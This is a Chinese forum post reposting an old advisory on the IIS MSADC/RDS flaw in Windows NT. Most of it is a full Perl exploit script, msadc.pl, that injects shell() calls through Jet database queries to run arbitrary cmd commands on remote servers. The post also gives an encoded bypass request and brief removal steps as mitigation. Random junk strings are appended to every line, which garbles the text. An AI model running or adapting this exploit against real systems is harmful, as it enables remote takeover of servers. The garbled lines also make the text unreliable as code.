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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ose(#n40  
@IhC:Yc  
涉及程序: Gh>&+UA'$1  
Microsoft NT server z{`K_s%5  
JuQwZ]3ed  
描述: _wH>h$E  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 g[';1}/B4  
1-0tG+  
详细: /W9(}Id6  
如果你没有时间读详细内容的话,就删除: R-LMV  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ( RO-~-  
有关的安全问题就没有了。 70Jx[3vr  
jVi> 9[rz  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 oq${}n<  
3>M%?d  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 B\S}*IE  
关于利用ODBC远程漏洞的描述,请参看: B>.x@(}V~  
& OYo  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x<5ARK6\=  
%|j`z?i|  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y^Uh<L0M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp R!f<6l8#W  
t xE=AOY5  
这里不再论述。 t.y-b`v  
:^7>kJ5?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ttOk6-  
MH=7(15R  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset P q0 %oz  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .V4-  
(Zg'])  
50_[n$tqE  
#将下面这段保存为txt文件,然后: "perl -x 文件名" plL|Ubn  
J-#V_TzJ?  
#!perl NNt  n  
# i/j53towe  
# MSADC/RDS 'usage' (aka exploit) script C RBj>  
# [?%q,>F  
# by rain.forest.puppy >)F "lR:o  
# zD)/QFILy  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Hvb8+"?~  
# beta test and find errors! KpA1Ac)T  
?4A/?Z]ub  
use Socket; use Getopt::Std; H-vHcqFx3  
getopts("e:vd:h:XR", \%args); 3xT9/8*  
.G.WPVE  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; '2GnAws^  
nv0\On7wd  
if (!defined $args{h} && !defined $args{R}) { #u}%r{T  
print qq~ t0+i ]lr  
Usage: msadc.pl -h <host> { -d <delay> -X -v } K!]a+M]>  
-h <host> = host you want to scan (ip or domain) k&2=-qgVR  
-d <seconds> = delay between calls, default 1 second * xCY^_  
-X = dump Index Server path table, if available h PL]B_<  
-v = verbose }R`Rqg-W  
-e = external dictionary file for step 5 |lt]9>|  
,AmwsXN"F  
Or a -R will resume a command session >`r3@|UY  
Aa=:AkrH  
~; exit;} AdVc1v&>  
f WZ(  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; u\V^g   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3pg=9*{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *,mI=1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); AHRJ7l;a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ak7kb75o  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } XeX"IhgS>E  
')U~a  
if (!defined $args{R}){ $ret = &has_msadc; MB!9tju  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} zcKQD)]  
Q_U.J0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Dn6U8s&  
. "cmd /c "; h Ta(^  
$in=<STDIN>; chomp $in; o:D,,MkSw  
$command="cmd /c " . $in ; %Yj%0  
J91[w?,  
if (defined $args{R}) {&load; exit;} ,Cb3R|L8  
12a`,~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; yL*]_  
&try_btcustmr; s'h;a5Q1'Q  
=hkYQq`Q  
print "\nStep 2: Trying to make our own DSN..."; } vmRm*8z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |RFBhB/u  
odCt6Du  
print "\nStep 3: Trying known DSNs..."; MfP)Pk5  
&known_dsn; PD)"od  
,;_+o]  
print "\nStep 4: Trying known .mdbs..."; )P$|9<_q7x  
&known_mdb; tO&ffZP8$  
v8)"skVnFG  
if (defined $args{e}){ CuWJai:nQ;  
print "\nStep 5: Trying dictionary of DSN names..."; |@vkQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } CZ<T@k  
gxN>q4z  
print "Sorry Charley...maybe next time?\n"; L-T,[;bl  
exit; DcW?L^Mst  
<.Ws; HN}  
############################################################################## 1Y|a:){G  
VG);om7`PD  
sub sendraw { # ripped and modded from whisker |5bLV^mv]i  
sleep($delay); # it's a DoS on the server! At least on mine... N-gYamlQ  
my ($pstr)=@_; u.|Z3=?VG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !R=@Nr>  
die("Socket problems\n"); M2O_kO eZ  
if(connect(S,pack "SnA4x8",2,80,$target)){ q.c)>=!.  
select(S); $|=1; TIWR[r1!  
print $pstr; my @in=<S>; (k?H T'3)  
select(STDOUT); close(S); Mf1(4F  
return @in; d ~Z\%4  
} else { die("Can't connect...\n"); }} b6bs .  
%up?70  
############################################################################## ;f[lq^eV  
1z? }'&:  
sub make_header { # make the HTTP request l4>^79**  
my $msadc=<<EOT {'5"i?>s0>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uh )S;3|  
User-Agent: ACTIVEDATA 5*AXL .2ih  
Host: $ip eTiTS*`u  
Content-Length: $clen [3 Pp NCY  
Connection: Keep-Alive [nTI\17iA  
GJ+^t  
ADCClientVersion:01.06 K3T.l#d'L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6l#x1o;  
, NSf  
--!ADM!ROX!YOUR!WORLD! .Pb-{!$Ni  
Content-Type: application/x-varg Qp>leEs]+6  
Content-Length: $reqlen CU'JvVe3  
l~c[}wv  
EOT CMa6':~  
; $msadc=~s/\n/\r\n/g; ~r1pO#r-  
return $msadc;} &Y{^yb  
}LzBo\  
############################################################################## JVZ-nHf(9  
{.p.?  
sub make_req { # make the RDS request /jY u-H+C  
my ($switch, $p1, $p2)=@_; i"^>sk  
my $req=""; my $t1, $t2, $query, $dsn; eS`VI+=@0  
]A*}Dem*5  
if ($switch==1){ # this is the btcustmr.mdb query Q7 BbST+  
$query="Select * from Customers where City=" . make_shell(); fB+L%+mr8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . =[6^NR(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} D(!^$9e9b  
YuXJT*  
elsif ($switch==2){ # this is general make table query EBj^4=b[  
$query="create table AZZ (B int, C varchar(10))"; 22gh!F%)  
$dsn="$p1";} $Ome]+0  
|=?#Xbxz  
elsif ($switch==3){ # this is general exploit table query O$Rz/&  
$query="select * from AZZ where C=" . make_shell(); .tngN<f  
$dsn="$p1";} bsIG1&n'T  
JJ?{V:  
elsif ($switch==4){ # attempt to hork file info from index server &m5zd$6  
$query="select path from scope()"; (eHyas %X  
$dsn="Provider=MSIDXS;";} o/5-T4  
| f#wbw  
elsif ($switch==5){ # bad query zM'eqo>!c>  
$query="select"; !"<[&  
$dsn="$p1";} +>$]leqa  
!X>u.}?g  
$t1= make_unicode($query); V%Uj\cv  
$t2= make_unicode($dsn); aeqz~z2~8s  
$req = "\x02\x00\x03\x00"; v+c>iI  
$req.= "\x08\x00" . pack ("S1", length($t1)); NvR{S /Z  
$req.= "\x00\x00" . $t1 ; ^ Ltho`  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7_0 p& 3  
$req.= "\x00\x00" . $t2 ; 04a ^jjc  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dC11kq qj  
return $req;} |P|B"I<?  
rzjVUPdnh  
############################################################################## G7Nw}cVJ)  
b}e1JPk}!  
sub make_shell { # this makes the shell() statement @6u/)>rI  
return "'|shell(\"$command\")|'";} S-Uod y  
RNg?o [S  
############################################################################## s**<=M GK  
8@3K, [Mo  
sub make_unicode { # quick little function to convert to unicode 1{}p_"s>  
my ($in)=@_; my $out; nl@an!z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } a#oROb-*~  
return $out;}  Fr%#  
! 'zd(kv<  
############################################################################## )rc!irac]  
/y$Omc^  
sub rdo_success { # checks for RDO return success (this is kludge) hor7~u+  
my (@in) = @_; my $base=content_start(@in); }Zhe%M=}G  
if($in[$base]=~/multipart\/mixed/){ RLF&-[mr3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} GES}o9?#  
return 0;}  rxY|&!f  
_Q V=3UWP  
############################################################################## Di9RRHn&q  
U82a]i0  
sub make_dsn { # this makes a DSN for us WI8}_){ d  
my @drives=("c","d","e","f"); tC[ZWL  
print "\nMaking DSN: "; ?h<4trYcv  
foreach $drive (@drives) { @W,jy$U  
print "$drive: "; )G[byBa  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . % rBz A<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" e`*}?N4d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n1[c\1   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; t],a1I.gk  
return 0 if $2 eq "404"; # not found/doesn't exist <_?zln:4.  
if($2 eq "200") { j,IRUx13f  
foreach $line (@results) { xR7ZqTcw  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]5%0EE64  
} return 0;} sdp&D@  
2e48L677-  
############################################################################## d;i|s[6ds`  
A5l Cc b  
sub verify_exists { 7ZcF0h  
my ($page)=@_; }=R]<`Sj.j  
my @results=sendraw("GET $page HTTP/1.0\n\n"); U(&c@u%  
return $results[0];} %nA})nA7=  
q0sf\|'<}  
############################################################################## {UiSa'TR1b  
0G%9 @^B  
sub try_btcustmr { sXLW';Fz  
my @drives=("c","d","e","f"); 5LeZ ?'"c  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =SDex.ZK]  
7h' C"rH  
foreach $dir (@dirs) { fN vQ.;  
print "$dir -> "; # fun status so you can see progress =H95?\}T[  
foreach $drive (@drives) { WtSs:D  
print "$drive: "; # ditto A(Ct^/x-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; u6iW1,#  
$reqlenlen=length( "$reqlen" ); #^FM~5KK  
$clen= 206 + $reqlenlen + $reqlen; @T1G#[C~t  
"Ih3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); HU0.)tD  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #G9 W65f  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} sz7*x{E  
3:nhZN/95T  
############################################################################## n Ja!&G&  
7?lz$.*Avp  
sub odbc_error { (P>nA3:UXB  
my (@in)=@_; my $base; <JPN< Kv  
my $base = content_start(@in); {i;,Io7 W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this j cd<'\;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y,L`WeQY.  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ku5||u.F4*  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DYX{v`>f^  
return $in[$base+4].$in[$base+5].$in[$base+6];} y4\X~5kU  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; d<c29Y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l5z//E}W  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Y:*% [\R  
@ f[-  
############################################################################## If'q8G3]-  
:>-zT[Lcn  
sub verbose { w4 yrAj 2  
my ($in)=@_; ^}  {r@F  
return if !$verbose; fECV\Z  
print STDOUT "\n$in\n";} QO@86{u#Y  
A}fm).Wp@  
############################################################################## jUT`V ZK4&  
'O a3 6@  
sub save { eP~bl   
my ($p1, $p2, $p3, $p4)=@_; ~[H8R|j "  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #H$lBC WI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; v^A+LZ*d  
close OUT;} 2V~E <K-  
&5 7c !)  
############################################################################## TX)W.2u=  
xMbgBx4+  
sub load { e'b*_Ps'  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .2I?^w&j+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); j"Jf|Hq $  
@p=<IN>; close(IN); ` wa;@p+j8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); NuOA'e+i  
$target= inet_aton($ip) || die("inet_aton problems"); Na@bXcz)  
print "Resuming to $ip ..."; d&3"?2 IQ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; !mv5i%3  
if($p[1]==1) { ?}`- ?JB1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \Zf=A[  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *+v*VH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $:I{  
if (rdo_success(@results)){print "Success!\n";} sOqFEvzo1%  
else { print "failed\n"; verbose(odbc_error(@results));}} GR|\OJ<2  
elsif ($p[1]==3){ l/3=o}8q  
if(run_query("$p[3]")){ [IHo ~   
print "Success!\n";} else { print "failed\n"; }} ,h=a+ja8  
elsif ($p[1]==4){ YCRE-5!  
if(run_query($drvst . "$p[3]")){ 2]kGDeSr  
print "Success!\n"; } else { print "failed\n"; }} cr;:5D%_  
exit;} 1 b 7jNkQ  
75a3hPCZ  
############################################################################## nlpEkq  
VL)<u"d4  
sub create_table { H!*ypJ  
my ($in)=@_; U/'l"N[  
$reqlen=length( make_req(2,$in,"") ) - 28; G^B> C  
$reqlenlen=length( "$reqlen" ); RB4n>&Y  
$clen= 206 + $reqlenlen + $reqlen; k86TlQRh  
my @results=sendraw(make_header() . make_req(2,$in,"")); g$]WKy(D  
return 1 if rdo_success(@results); t]I9[5Pq\  
my $temp= odbc_error(@results); verbose($temp); kqX=3Zo  
return 1 if $temp=~/Table 'AZZ' already exists/; *zUK3&n~I  
return 0;} ?OW!D?  
g}!{_z  
############################################################################## \me5"ZU  
-] wEk%j  
sub known_dsn { 8XJi}YPQ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1j<uFhi>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", J2}poNmm  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^EiU>   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); U!uPf:p2  
Ma!  
foreach $dSn (@dsns) { (F^R9G|  
print "."; dC,C[7\  
next if (!is_access("DSN=$dSn")); 5r)8MklZ  
if(create_table("DSN=$dSn")){ \v&zsv\B@  
print "$dSn successful\n"; U[MeK)*  
if(run_query("DSN=$dSn")){ xO_>%F^?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { HW]?%9a  
print "Something's borked. Use verbose next time\n";}}} print "\n";} rf H1Zl  
(zFqb,P  
############################################################################## Mf14> `<`  
/=YNkw5   
sub is_access { #czTX%+9(e  
my ($in)=@_; A|LO!P,w  
$reqlen=length( make_req(5,$in,"") ) - 28; 56 JQ h  
$reqlenlen=length( "$reqlen" ); 6 D Xja_lp  
$clen= 206 + $reqlenlen + $reqlen; S'5)K  
my @results=sendraw(make_header() . make_req(5,$in,"")); /e"iY F  
my $temp= odbc_error(@results); WzstO}?P(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); inh:b .,B  
return 0;} TC-Vzk G|  
qkKl;Z?Y:  
############################################################################## ]y.V#,6e  
(o*YGYC  
sub run_query { 7d R?70Sz  
my ($in)=@_; d4ecF%R  
$reqlen=length( make_req(3,$in,"") ) - 28; w:lj4Z_  
$reqlenlen=length( "$reqlen" ); A:Wr5`FJ  
$clen= 206 + $reqlenlen + $reqlen; _cvX$(Sg  
my @results=sendraw(make_header() . make_req(3,$in,"")); MrzD ah9UG  
return 1 if rdo_success(@results); T^Ia^B-%}g  
my $temp= odbc_error(@results); verbose($temp); )Zr\W3yWX  
return 0;}  >SQzE  
"a].v 8l!  
############################################################################## N ;=z o-8  
Y_Fn)(  
sub known_mdb { 6 eryf?  
my @drives=("c","d","e","f","g"); PwW$=M{\.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xk.OyQ@  
my $dir, $drive, $mdb; K ,NmDc^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8Azh&c  
,r*Kxy  
# this is sparse, because I don't know of many EF!J#N2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mDK*LL5]W  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -&D=4,#  
"\\system32\\certmdb.mdb", K@*+;6y@  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% I'*,<BPG  
@Dfg6<0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", p/ xlR[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0?$|F0U"J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", r'Wf4p^Xd  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3" m]A/6C}  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", WYb}SI(E  
"\\cfusion\\database\\cfexamples.mdb", VxDIA_@y  
"\\cfusion\\database\\cfsnippets.mdb", kr+p&|.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Uk]jy>7;!  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", V<#KFm$>C  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xI{fd1  
"\\cfusion\\database\\smpolicy.mdb", R_B0CM<!  
"\\cfusion\\database\cypress.mdb", o)XrC   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3v\P6  
"\\website\\cgi-win\\dbsample.mdb", %JrZMs>  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", }| MX=:@*  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" f|VCibI  
); #these are just - (WH+  
foreach $drive (@drives) { h#Z[ "BG  
foreach $dir (@dirs){ 7P2n{zd,  
foreach $mdb (@sysmdbs) { F/ZFO5C%  
print "."; |P]W#~Y-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ r<fcZ)jt|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; P}~MO)*1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m6[}KkW  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <c[\\ :Hh*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N$kxf  
7:olStK  
foreach $drive (@drives) { ,93Uji[l  
foreach $mdb (@mdbs) { Fn .J tIu  
print "."; ZN#b5I2Pf  
if(create_table($drv . $drive . $dir . $mdb)){ 8)bR\s   
print "\n" . $drive . $dir . $mdb . " successful\n"; cy.r/Z}  
if(run_query($drv . $drive . $dir . $mdb)){ ~D3 S01ecM  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s>o#Ob@4'  
} else { print "Something's borked. Use verbose next time\n"; }}}} )KE  
} @U8u6JNK'  
JWd[zJ[  
############################################################################## mq[=,,#  
0Q a 0  
sub hork_idx { Y]L4,V  
print "\nAttempting to dump Index Server tables...\n"; avq$aq(3&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #dae^UjM  
$reqlen=length( make_req(4,"","") ) - 28; uKAI->"  
$reqlenlen=length( "$reqlen" ); ;iuwIdo6c  
$clen= 206 + $reqlenlen + $reqlen; tgKr*8t{  
my @results=sendraw2(make_header() . make_req(4,"","")); pM@8T25=  
if (rdo_success(@results)){ g8uqW1E^  
my $max=@results; my $c; my %d; =oI[E~1<  
for($c=19; $c<$max; $c++){ z(LR!hr  
$results[$c]=~s/\x00//g; KxK,en4)+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; cZ_)'0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7ivo Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; J{b#X"i  
$d{"$1$2"}="";} ]TT >3"Dw7  
foreach $c (keys %d){ print "$c\n"; } fYjmG[4  
} else {print "Index server doesn't seem to be installed.\n"; }} Q// @5m_  
*"WP*A\1  
############################################################################## ywJ [WfCY  
#epbc K  
sub dsn_dict { g6%]uCFB  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 4+q,[m-$(  
while(<IN>){ :41Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; N_bgWQY  
next if (!is_access("DSN=$dSn")); Xd%qebK  
if(create_table("DSN=$dSn")){ X3G593ts  
print "$dSn successful\n"; j%s,%#al  
if(run_query("DSN=$dSn")){ pFS@yHs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Uo >aQk  
print "Something's borked. Use verbose next time\n";}}} (0.oE%B",1  
print "\n"; close(IN);} [tk x84M8  
%3qjgyLZ|  
############################################################################## pFY*Y>6ar  
:@i+yN cV  
sub sendraw2 { # ripped and modded from whisker ~'%d]s+q  
sleep($delay); # it's a DoS on the server! At least on mine... G/p\MzDko  
my ($pstr)=@_; G^t)^iI"'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Uap0O2n  
die("Socket problems\n"); ybiTWM  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7JBs7LG  
print "Connected. Getting data"; aC[G_ACwc  
open(OUT,">raw.out"); my @in; cxs@ph&Wk  
select(S); $|=1; print $pstr; $B-/>Rz  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %TQ4 ZFD3  
close(OUT); select(STDOUT); close(S); return @in; _">F]ptI;  
} else { die("Can't connect...\n"); }} GKIzU^f  
n7bVL#Sq[  
############################################################################## 8c.>6 Hy  
sPi  
sub content_start { # this will take in the server headers IrL7%?  
my (@in)=@_; my $c; 'Hx#DhiFz  
for ($c=1;$c<500;$c++) { Q,5PscE6&k  
if($in[$c] =~/^\x0d\x0a/){  _C5i\Y)  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [T_[QU:A  
else { return $c+1; }}} aeUgr !  
return -1;} # it should never get here actually 6d]4 %QT  
a%Q`R;W  
############################################################################## <@(\z   
>u> E !5O  
sub funky { b\ED<'  
my (@in)=@_; my $error=odbc_error(@in); :bct+J}l~  
if($error=~/ADO could not find the specified provider/){ "qq$i35x  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; !6-t_S  
exit;} &D M3/^70  
if($error=~/A Handler is required/){ 5 NYS@76o7  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5Jo'h]  
exit;} n~6$CQ5dF(  
if($error=~/specified Handler has denied Access/){ u!D?^:u=)  
print "\nServer has custom handler filters (they most likely are patched)\n"; a?+C]u?_D  
exit;}} 3g!Z[SZ  
4A@HR  
############################################################################## Wd7*7']  
8J'5%$3u  
sub has_msadc { =? !FO'zt"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); (E0WZ $f}  
my $base=content_start(@results); )q_,V"  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .\oW@2,RA9  
return 0;} V]--d33/a  
\2 DED  
######################## Ne+Rs+~4  
R?)Yh.vi=t  
o(e(| k {  
解决方案: &'12,'8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }Q: CZ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Rp2h[_>  
Wy-_}wqHg  
拿出来充数 哈哈
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